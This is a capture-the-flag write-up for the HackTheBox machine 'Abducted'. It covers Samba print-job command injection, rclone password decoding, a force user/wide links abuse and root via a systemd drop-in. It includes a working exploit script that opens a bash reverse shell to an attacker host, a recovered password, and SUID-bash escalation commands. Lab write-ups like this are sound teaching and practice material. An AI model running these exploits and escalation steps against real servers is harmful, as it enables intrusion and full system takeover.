Write Ups Home

hackthebox / medium / linux

Abducted

Platform
HackTheBox
Difficulty
Medium
OS
Linux

Synopsis

Abducted is a medium-difficulty Linux machine built around the on-premise file and print server of a professional-services firm.

The Samba installation is vulnerable to a print-subsystem command injection (CVE-2026-4480): the client-supplied print job name is passed to the configured print command without escaping. A crafted job submitted over the spooler protocol yields code execution as the print service account.

An offsite-backup configuration is recovered and its password decoded with rclone's own tooling (reused for a system account). A second Samba share configured with force user and wide links is abused to write an SSH key into a second user's home directory. That user belongs to a group delegated management of the Samba service through polkit, and a service drop-in is used to execute a command as root.

Skills Required

  • SMB Enumeration
  • Identifying Service Versions

Skills Learned

  • Samba print job name Command Injection (CVE-2026-4480)
  • Decoding rclone Obscured Credentials
  • Abusing Samba force user + wide links
  • Privilege Escalation via a polkit-delegated systemd service

Enumeration

Start enumeration with an Nmap scan. No web service is present - the host exposes SSH and a Samba server.

nmap -sSVC --open -Pn 10.129.244.177

Key ports:

  • 22/tcp → OpenSSH 9.6p1 Ubuntu
  • 139/445/tcp → Samba smbd 4
smbclient -L //10.129.244.177 -N

Shares:

  • HP-Reception (Printer) - allows guest printing
  • projects (Disk)
  • transfer (Disk)
  • IPC$
rpcclient -U "" -N 10.129.244.177 -c "srvinfo"

The server identifies as Ubuntu Linux. The exact Samba version is hard to pin remotely, but the presence of a guest-accessible printer share makes CVE-2026-4480 the most likely vector.

Foothold - CVE-2026-4480 (Print Command Injection)

Samba's print command (when using printing = sysv) substitutes %J (job name) directly into a system() call without proper sanitization.

Exploit flow:

  1. Connect to the spoolss RPC interface anonymously.
  2. Submit a print job with a malicious document_name (%J).
  3. The spool file body (%s) becomes the shell script.

Exploit script (exploit.py)

#!/usr/bin/env python3
from samba.dcerpc import spoolss
from samba.param import LoadParm
from samba.credentials import Credentials

RHOST, LHOST, LPORT = "10.129.244.177", "[IP]", 4444

DATA = (f"setsid bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1' >/dev/null 2>&1 &\n").encode()

lp = LoadParm(); lp.load_default()
creds = Credentials(); creds.guess(lp); creds.set_anonymous()

iface = spoolss.spoolss(rf"ncacn_np:{RHOST}[\pipe\spoolss]", lp, creds)

h = iface.OpenPrinter(f"\\\\{RHOST}\\HP-Reception", "", spoolss.DevmodeContainer(), 0x00000008)

i1 = spoolss.DocumentInfo1()
i1.document_name = "|sh"
i1.output_file = None
i1.datatype = "RAW"

ctr = spoolss.DocumentInfoCtr()
ctr.level = 1
ctr.info = i1

iface.StartDocPrinter(h, ctr)
iface.StartPagePrinter(h)
iface.WritePrinter(h, DATA, len(DATA))
iface.EndPagePrinter(h)
iface.EndDocPrinter(h)
iface.ClosePrinter(h)

print("[+] job submitted")

Usage:

nc -lvnp 4444
python3 exploit.py

You land a shell as nobody.

Post-Exploitation & User Flag

nobody@abducted:/$ cat /opt/offsite-backup/rclone.conf
nobody@abducted:/$ rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
iXzvcib3SrpZ

The password is reused for the scott account.

ssh scott@10.129.244.177
scott@abducted:~$ cat user.txt

Privilege Escalation - scott → marcus

The transfer share has:

  • force user = marcus
  • wide links = yes
  • allow insecure wide links = yes
scott@abducted:~$ cat /etc/samba/shares.conf

Attack:

  1. Generate SSH key
  2. Create symlink to /home/marcus
  3. Write authorized_keys via Samba (runs as marcus due to force user)
scott@abducted:~$ ssh-keygen -q -t ed25519 -N '' -f /tmp/k
scott@abducted:~$ ln -s /home/marcus /srv/transfer/mh
scott@abducted:~$ smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
  -c 'mkdir mh/.ssh; put /tmp/k.pub mh/.ssh/authorized_keys'
ssh -i /tmp/k marcus@10.129.244.177

Privilege Escalation - marcus → root

marcus is in the operators group, which has write access to:

marcus@abducted:~$ ls -ld /etc/systemd/system/smbd.service.d
drwxrws--- 2 root operators ...

This is a systemd drop-in directory for smbd.service. marcus can also run systemctl daemon-reload and systemctl restart smbd via polkit without a password.

Exploit:

marcus@abducted:~$ cat > /etc/systemd/system/smbd.service.d/override.conf <<'EOF'
[Service]
ExecStartPre=/bin/cp /bin/bash /tmp/.rb
ExecStartPre=/bin/chmod 4755 /tmp/.rb
EOF

marcus@abducted:~$ systemctl daemon-reload
marcus@abducted:~$ systemctl restart smbd

marcus@abducted:~$ /tmp/.rb -p -c 'id; cat /root/root.txt'

Key Takeaways

  • Print subsystems are an RCE surface - unescaped job names passed to system() in the print command turn a spooler submission into command injection.
  • rclone's "obscured" passwords are reversible with the same tooling (rclone reveal); they are obfuscation, not encryption.
  • Samba force user + wide links is a classic write primitive: a symlink lets a low-priv user write files as another user.
  • polkit-delegated systemd management + a writable drop-in directory == arbitrary root command execution via ExecStartPre.

pumkin / write ups